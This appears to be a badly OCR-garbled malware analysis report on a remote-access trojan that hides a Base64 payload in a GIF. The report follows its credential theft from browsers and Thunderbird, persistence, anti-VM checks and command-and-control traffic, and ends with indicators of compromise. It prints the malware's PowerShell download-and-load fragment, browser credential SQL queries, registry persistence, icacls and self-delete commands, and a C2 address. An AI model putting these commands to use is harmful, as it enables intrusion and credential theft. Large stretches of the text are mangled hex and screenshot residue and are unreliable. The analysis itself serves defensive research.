HBDPWIDMS AT TicBAAAAHAEAYAAAA/ k/ PZ/27/g+Ph/D3/COPS /2v/ 07Px+20/ Q6P Y+ TA+QSPX6Dk+AOPS 5 2X+5 kPsATDI4ePP3] SOUZPNODC AP+ 2 T+8QPPYZ
TABCNPNZZUBKLPYY TpBKIP/XTe84GPKXTSBADP3uDL 8TCPHSD+7 1/ 03V T27470vuTq70500uTd7 Y208t TU7c@0sSTH7CXOT 03 /6HU0Ur268r01qjm60j0uo )
EwhOSODCHFOanszcXOHlJGAQDOqiDQ4kZNlﬂ)Z3M9NaeszSpNQangBnNhYTE1wFNtx151wdNH\JTrl:aNMlOiSBNszrzw?HquRzuzMiID/yguNYL]in
0MaJ2UyEKNZ TzAxg fHIHDVXTbHNG; 9/V7Px+2¢/8 0219YCPuiz228UNPMz2 2B 8q08pTVSTKO60TLEKQON 1DUSHUO
g]/4 00b j204<HOr ey 300102 TE302NLUDIBXIXC TA2UVHLYTG2UQNKHDY 1ALNNTTOOTKINLS] KCBNRQTC 20/ MpPDS 2 49H70Z L 2ET N0 ToZ SMHOTgz0 11U
DeugFMRBTEAAAAEDQARBWPG/ DB/ E9P++D0/ USPhOjU/UxPOBZB+KVPVT] Z+UrPUSTG+QGPFEIm+4nPS5 3b
12519cWPT1TTOg!

NYeD13ASNMeDi2Q

uuuuu

k PgS i i
- 205216 = 1

0quT37g90uuTF7180ms TG6kvOzr ) 76ELOArDUBANOGL 2750d0GND158

Output 2%

a0 m::

Auto Bake

ClueBCluedCludiord 8w aleeas
1E_y (
&
text, R: rdatauw |
dat: o1 A.rel
B.b:
Us 1o Jossuatizor3A]etlos o Bz Jiloset ur +oue: scaticr@AGh 29
Mes Ve fitoceUss esrxffMocceconiB o JoreweUfie £~ JAe LS e

westd +A]AUS TS Joiswce]
156100 = 1256

Tr fau Bytes ¢ LF

Figure &7 CyberChet 1o decode the siring

The second URL led to a GIF file, and examining it in a hex editor confirmed that the code
was using a Base64-encoded string hidden between tags within the GIF.

& giphy.gif

Offset(h} 00

003CDhes0
003CDheed
003CDheT0
003CDeED
003CDhesqd
003CDeAd
003CDeED
003CDheCd
003CDeDd
003CDeED
003CDeFO
Q03CDT00
003CDhT10
003CDT20
003CDT30
003CDh7T40
003CDT50
003CDTed
Q03CDTT0
Q03CDTED
003CDhTag0
D03CDTAD
O03CDTEOD

80 7]
2C
(1
BC
BO |
83
0e
T& &
a0
11

3E
41
41
41
41
41 &7
4FE 4%
77
T6 &4
&7 =2
4B 44
41
41

02

3F
1B
9B
2D
83
Fa
FO
17
BC
D1
L1
2F
41
41
41
41
62
&D
43
45
41
41
41

[
La

. |

S T A T 5 Y Y iy L

[ S S

[ I =
=

i)
=

04

A
83
DE
31
CE
F&
15
a0
54
ES
51
41
41
41
41
41
42
&E
&5
54
41
44
41

[
n

. |

[

[
S I LI S I s

o=

P PR U S R S |
]

]

49
41
41
41

Flgure%CHTB?_ocaq’hngql'.he%gud%q_pr?ga' T%@

[ ]
. |
]
4]

08

63 ZE 4E BZ
66 L5 AL 23
28 ZE BD 3D
6B F& BE 8C
68 40 D3 Ze
02 Ce DB 70
80 47 &0 82
51 E0 RAe 41
le &8 2C 0%
3C 75 75 64

53
47 31
41
4B
4F
41

L 47

iy

[
3]
[
=

OE

[ ]
r

Decoded text

F9 19 9B E0 FC D1 €g?sB.c.Nu. »aul
15 21 DR 40 B2 BB ,>.5f.f ¥%..08%«
01 2 43 BE 30 EL  £.3,B. (.%=.*C=0&
2D 1L B7 F9 OF 07 @Ep—-;1,kaiE-. -1

1E DC 16 21 27 o8 *If<Esn Ot.0..'=
3D 41 92 C4 87 42 ciuCes.EUp=LriiB
18 4L BO OF 7E 3B .@BLl.GEG",.J%.~:
78 L1 OF 37 €5 58 wij.A.¥Qa!R{;.7eX
7B 28 BE 25 48 7L . T,.f,.{"Z%H=z
EF SF 70 53 €7 _3E ~NMa<<sudo_png:

BghhnnbdfugdAtin
HIbgBTMOhVGhpovB
wemSnemFt IGHhbmS
vdCBiZ5BydWdgaW4
gRESTIGlvZGUuDOO0
EJARLARLORRBORON
ATAEDAKVOHmMgARLT
BOARAROLATIinT.ATR
BOT4xAARGCAROARTT

T4
&D
57
51 30
51
41
54
41
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Following that, | wrote a Python script that takes the file, locates the two tags defined in the
PowerShell script, extracts the content between them, decodes it from Base64, and saves
the output to a file, as shown in Figure 10.

1 import base64 A
2
3 def extract_and decode_base64(file path, at.art_nark51=:| <<sudo_png>>', end marker=b'<<sudo_odt>>'|, output_path='decoded output.bin'):
'l try:
S [ With open(file path, 'zb’) as I: D Detect It Easy v3.09 [Windows 10 Version 2009 (x86_64) — u] x
6 L data = f. 0
0 File name
start_index = data. (start_marker)
ana ihaex - ascs. (na_marker) > | |c\sers\pxPesktopew folder'decoded_output.bin
File type File size
= if start_index =— -1 or e “1: Advanced
T o - e e PE32 - 3.10 MiB
print ("Markers not found in the file.")
return Scan Endianness Mode Architecture Type
5 start_index += len(start_marker) putnmatic T ES 32-bit 1386 b
16 = if end_index < start_index: ~ [PE32
7 print("End marker found before staIt marker.") Operation system: Windows(95)1386, 32-bit, DLL] s 7
L . Linken Microsoft Linker s 7
= Compiler: VB.NET s 7
. Language: BASIC s 2
Library: dnlib s 2
: Library: NET(v4.0.30319) s 2
22 |o
23
24 =
25
26 |+
=
Shorteuts
v
print(r"Basesd-decoded data written to '{OULpUG_pathi'.m) Options
- Signatures v Recursive scan v Deep scan Heuristicscan V' Verbose
z Abaut
Scan
Python file length: 1,151 lines: 36 Ln:36 Col:39 P | Directory Log All types > 1195 msec Exit

Second Stage

In the second stage, the focus shifts to the DLL and EXE files extracted from the GIF and
TXT (DLL and EXE) payloads from the earlier stages.
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{ Technique

::Internet Connection Discovery T1016.801
Tie47
: :Token Impersonation/Theft T1

0’
MBC Objectiv MBC Behavior

::Receive Data [B0©636.062]

Response [CB8662.817]

[Cee29.001]
Use API [C@@21.0@3]

Value
[Cee

cee17]
reate Suspended Process [C@817.863 ]

Figure T1: Capabilities Ot The DLL
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from Web Browsers

As expected from this RAT, it includes several keylogging techniques, has the capability to
extract stored passwords, and also implement process injection methods.

Analyzing the sample in a debugger revealed how it carries out these actions. In Figure 13,

we can see it executing SQL queries to retrieve login credentials from various web browsers.

00CC7BFO (00 00 00 00|00 00 OO0 00|73 65 6C 65(63 74 20 73]........ select s
00CC7C00|69 67 BE 6F [BE 5F 72 65|61 6C 6D 2C|20 6F 72 69|ignon_realm, ori
00CC7C10|67 69 6E 5F |75 72 6C 2C|20 75 73 65|72 6E 61 6D|gin_url, usernam
00CC7C20|65 5F 76 61 |6C 75 652820 70 61 73|73 77 6F 72|e_value}] passwor
00Cc7c30 (64 S5F 76 61 |6C 75 65 20|66 72 6F 6D|20 77 6F 77 |d_value from wow
Q0CC7C40|5F 6C 6F 67|69 6E 73 00|73 65 6C 65(63 74 20 73|_logins.select s
00CC7C50|69 67 BE 6F [BE 5F 72 65|61 6C 6D 2C|20 6F 72 69|ignon_realm, ori
00CC7CB0 |67 69 6E 5F |75 72 6C 2C|20 75 73 65|72 6E 61 6D|gin_url, usernam
Q0CC7C70|65 5F 76 61|6C 75 65 2C|20 70 61 73|73 77 6F 72|e_value, passwor
00CC7CBO |64 SF 76 61 |6C 75 65 20|66 72 6F 6D|20 6C 6F 67 |d_value from Tog
00CC7C90 |69 6E 73 00|00 00 00 00|5C 00 47 00(6F 00 6F 00fins.....\.G.0.0.
00CC7CAD |67 00 6C 00|65 00 5C 00|43 00 68 00(72 00 6F 00|g.1l.e.\.C.h.r.o.
Q0CC7CBO | 6D 00 65 00(5C 00 55 00|73 00 65 00(72 00 20 00|m.e.\.U.s.e.r. .

00CCc7CcO (44 00 61 00|74 00 61 00|5C 00 4C Q0[6F 00 63 0O|D.a.t.a..L.0.C. 4

Figure 13: SQL Queries

In Figure 14, we can see that it also attempts to extract usernames and passwords from
Thunderbird (which is relatively uncommon among common RATSs). Following that, it targets
various SMTP and email-related services for credential harvesting, including Outlook.
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O0CCB8EQ [6A 00 73 00|6F 00 6E 0O |00 0O 72).5.0.n..... encr
O0CCB8FOQ (79 70 74 65|64 55 73 65|72 BE ptedUsername. ..
00CC8900 |68 6F 73 74 |6E 61 6D &5 |00 00 ostname....encr
00CC8910 (79 70 74 65|64 50 61 73|73 77 ptedPassword. ..
00CC8920 (74 00 &8 00|75 00 6E 00|64 00 .h.u.n.d.e.r.b.
00CC8930 (69 00 72 00|64 00 2E 00|65 00 .d...e.x.e...
00CC8940 (5C 00 54 00|68 00 75 00 |6E_0O0 hou.n.d.e.r.
00CC8950 (62 00 69 00|72 00 64 00|5C 00 .r.d.\...C.o.
00CCB8960 (75 00 &C 00|64 00 20 00 |6E 0O .d. .n.o.t. .
00CCB8970 (64 00 &5 00|63 00 72 00|79 00 .c.r.y.p.t...
00CCB8980 (41 00 &3 00|63 00 6F 00|75 00 .Cc.o.u.n.t. .
00CC8990 (4E 00 &1 00 |6D 00 65 00|00 00 m.e..... E.m.

Figure 14: Extracts Credentials From Email Related Services

As shown in Figure 15, it uses the ping command as a delay execution mechanism.

O0Cccal?0 | cmd.exe /C ping 1.2.3.4 -n 2 -w 1000 = Nul & Del /f /q “win

LR MWL W | e F PR L W LN N S R N R BRI TRE
Lli‘l L e I I T S L N PY R

yure™ 5 iy Execution =

In addition, while debugging, another C2 server used by the attacker was observed, as
shown in Figure 16.

ecx:ZwFreevVirtualMemory+C

ecx:ZwFreeVirtualMemory+C, [edi+04]:['196.251.115.121"

ecx:ZwFreeVirtualMemory+C

ecx:ZwFreeVirtualMemory+C

ecx:ZwFreevVirtualMemory+C, [edi+04]:"196.251.115.121"
Figure 16: Connection With C2 Address

Further analysis of the PowerShell line that calls the VAI method from the DLL ($Laverna =
[dnlib.10.Home].GetMethod(‘VAI').Invoke(...)) makes it clear that changing the parameters
alters the behavior of the RAT.

Here are few examples

Displays MSG Box
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Recurso "UAC.dII ndo encontrada!

Figure 7. MSG Box

Saves Copy to the Public folder

[]Only show processes still running at end of current trace

Tirnelines cover displayed events only

Process
5 Zoomlt6d exe (5728)
=l cmd exe (1164)
B conhost exe (3168)
2 [ py.exe (3576)
P python exe (1988)
[ natepad-++exe (2620)
(= [ Procmon exe (1656)

¥ Procmonb4 exe (3288)

= EX powershell.exe (3176)
[ conhost exe (B100)
=) % cmd.exe (3336)

i Conhost exe (4584)

= (& chrome exe (3316)
G chrome exe (3688)
& chrome exe (3044)
E chrome exe (3756)
& chrome exe (4572)
& chrome exe (1556)

<

Description

Windows Comma...
Console Window ..
Python

Pythan

Motepad++
Process Monitar
Process Monitor

Console Window ..
Windows Comma...
Console Window ..
Google Chrome
Google Chrome
Google Chrome
Google Chrome
Google Chrome
Google Chrome

> €

Description:  Windows Command Processor

Sysintemals Scree..

Windows Power5...

Image Path Life Time Compary

. C:\Tools\sysintem..._Sysintemals - W

C:\Windows"\Syst .. _ Microsoft Carpora
C:\Windows syst .. _ Microsaft Carpora
C:\Windows'\py exe _ Python Scftware

C:\Python310pyt.. _ Python Software
C:\Program Files'.... _Don HO don h@t
C:\Tools\sysintem..._Sysintemals -
Ci\Users\(\App .. _Sysintemals - W
C:\Windows"\Syst .. _ Microsoft Carpora
C:\Windows gyst .. _ Microsaft Carpora

C:\Windows\Syst... I Microsoft
C:\Windows \Syst .. I Microsaft Carpora

C:\Program Files'.... _Google LLC
C:\Program Files'.... _Google LLC
C:\Program Files'.... _Gocgle LLC

C:\Program Files.... Google LLC
C:\Program Files®... Google LLC

C:\Program Files'... _Gocgle LLC

Company:  Microsoft Corporation
Path: Chwindows\bystem3dicmd.exe
Command:

"CAWindows!\System 3?_\cmd.a(e"lfc copy *Js "C\Users\Public\address,js" I

Figure 18: Copy To Public

Creates a Scheduled Task with varying timestamps (depending on the parameters)

NeEw Tuaern
System32
B videos
3 This PC
|_i MNetwork
Public Downloads
address.js
10iterns 1 item selected 1.50 MB
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lfz-_\.l Task Scheduler (Local)
3 Task Scheduler Library

Triggers
At 747 AM on 5/14/2025 - After triggered, repeat every O
dgellpdateTaskMachi... Running Multiple triggers defined
MicrosoftEdgellpdateTaskMachi., Ready At 3:23 AM every day - After triggered, repeat every 1 hou
npcapwatchdog Ready At systemn startup

(5 Onelrive Reporting Task-5-1-3-... Ready At 11:17 PM on 6/7/2024 - After triggered, repeat every 1.1

<

General Triggers Actions  Conditions  Settings  History (disabled)

When you create a task, you must specify the action that will occur when your task starts. To change the

Action Details

Start a program wscript.exe ChlUsers\Publicaddress,|s

Figure 19: Schedule Task Creation

One of the arguments, when set to “1” for example, causes the PowerShell window to
display logs containing detailed system information, along with checks to determine
whether the malware is running in a real environment or is being analyzed and
monitored.

$microliths.Headers.Add('Us t', 'M 1
$tipula = Smicroliths.DownloadData ($picle) ;
$archeologist = [System.Text.Encoding]::UTF8.GetString($tipula);
$cyberspeech v

¥ Windows PowerShell

Windows Powershell

$diander = '< — Copyright (C) Microsoft Corporation. All rights
$banie = $archeoclogist.IndexOf ($cyberspeech) ;

$scornful = $archeologist.IndexOf ($diander) ; [Try the new cross-platform PowerShell https://al4
$banie -ge -and $§scornful -gt $banie;

$banie += $cyberspeech.length; S C:\ r \Desktop\New folder > .\test.psl

$crummier = $scornful - $banie;

$millilitres = $archeologist.sSubstring($banie, $crummier)

$ayond = [System.Convert]::FromBasefdsString($millilitres) ;

$sawhorse = [System.Reflection.Assembly]::Load($ayond) ;

$Laverna = [dnlib.IO.Home].GetMethod( ) .Invoke ($null, [object[]] @ ($gal
C:A\T i

(R ORm0 00 000G amilevsTnilen
- millETEls
e 0 ,'3s',"", "', 'displayable

\Desktop\New folder > .\test.psl 3

MOTHERBOARD INFO

Tsers
,'C:\Users

) . Y
ConfigManagerEr
ConfigManageruUs
CreationClassNa
Description = M
DeviceID = Moth
ErrorCleared =
ErrorDescrip
InstallDate =
LastErrorCode =
Name = Motherbo
PNPDeviceID =
PowerManagement
PowerManagement
PrimaryBusType
RevisionNumber
S econdaryBusTyp
Nindows PowerShell length: 936 lines: 17 Ln:17 Col:188 Pos: 937 Windows (CR LSS gty

8221 T ExplorerEXE 4816 [ RegCloseKey  HKCU T StatusInfo =

8:221.. T BplorerEXE 4816 [Bf RegQuenyKey  HKCU\Software\Classes SystemCreationC System

8:221.. Ty ExplorenEXE 4816 [ RegQueryKey  HKCU\Softwars\Classes SystemName = DE

8:221.. ' BplorerEXE 4816 [B RegQueryKey  HKCU\Software\Classes

8:221.. Ty ExplorerEXE 4816 [B§ RegOpeniey  HKCU\Softwars\Classes

8:221.. ' EoplorerEXE 4816 [I RegOpenKey ~ HKCR\CLSID\{S6ADACE

8:22]... [Echome.xe 3044 G TCP Connect  DESKTOP-2VPKVQGHS

BIOS INFO

Qiterns 1 item selected 14 hutes

igure 20: System Information
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Detected as virtual machine given hard disk information.
Detected as wvirtual machine given processes information.

Further analysis of the strings also revealed that the malware establishes persistence by
adding entries to the registry to run on user login as shown in Figure 22.

cmd.exe fc REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /f /v Load /t REG SZ /d "

Using icacls, it attempts to grant full control permissions to Everyone for the specified target
folder and all its contents (files and subfolders), replacing any existing permissions.

\xcopy.exe

" JGRANT:r *S$-1-1-0:(0I)(CI)F /T

Extras - Vitali Kremez

Vitali Kremez was a prominent cybersecurity researcher and intelligence analyst known for
his deep expertise in malware reverse engineering and cybercrime investigations. He played
a key role in analyzing and exposing major cyber threats, including ransomware groups and
underground forums. Tragically, he passed away in 2022, leaving a lasting impact on the
cybersecurity community.

Moreover, his name often appears in various malware families as a form of cybercrime
“tribute” by criminal actors who follow and acknowledge his research closely. In this case, we
see his name embedded in a file path: C:\Users\ Vitali Kremez
\Documents\MidgetP**n\workspace\MsgBox.exe

While it’s difficult to determine intent with certainty, the context here leans more toward
mockery than tribute. The inclusion of an inappropriate or provocative folder name alongside
his real name suggests an attempt to ridicule or defame, rather than respectfully
acknowledge his legacy.

I0Cs

12/13



e Hash:
7ebdce51613a9214f61fa3983e9a2d19
c4df7a30cdl7a7e71e581e887a69de64
1b35b016afd3f509d2fc128ab5bd653b

324ca3bcae43fe7db3c43ale24d4e514
8c66d9087118b17ccaa62eb83f3542c1

« URL

hxxps://onfiltre[.]com[.]tr
hxxps://channelchief[.]varindial.]Jcom

e IP

196[.]251[.]115[.]121

13/13



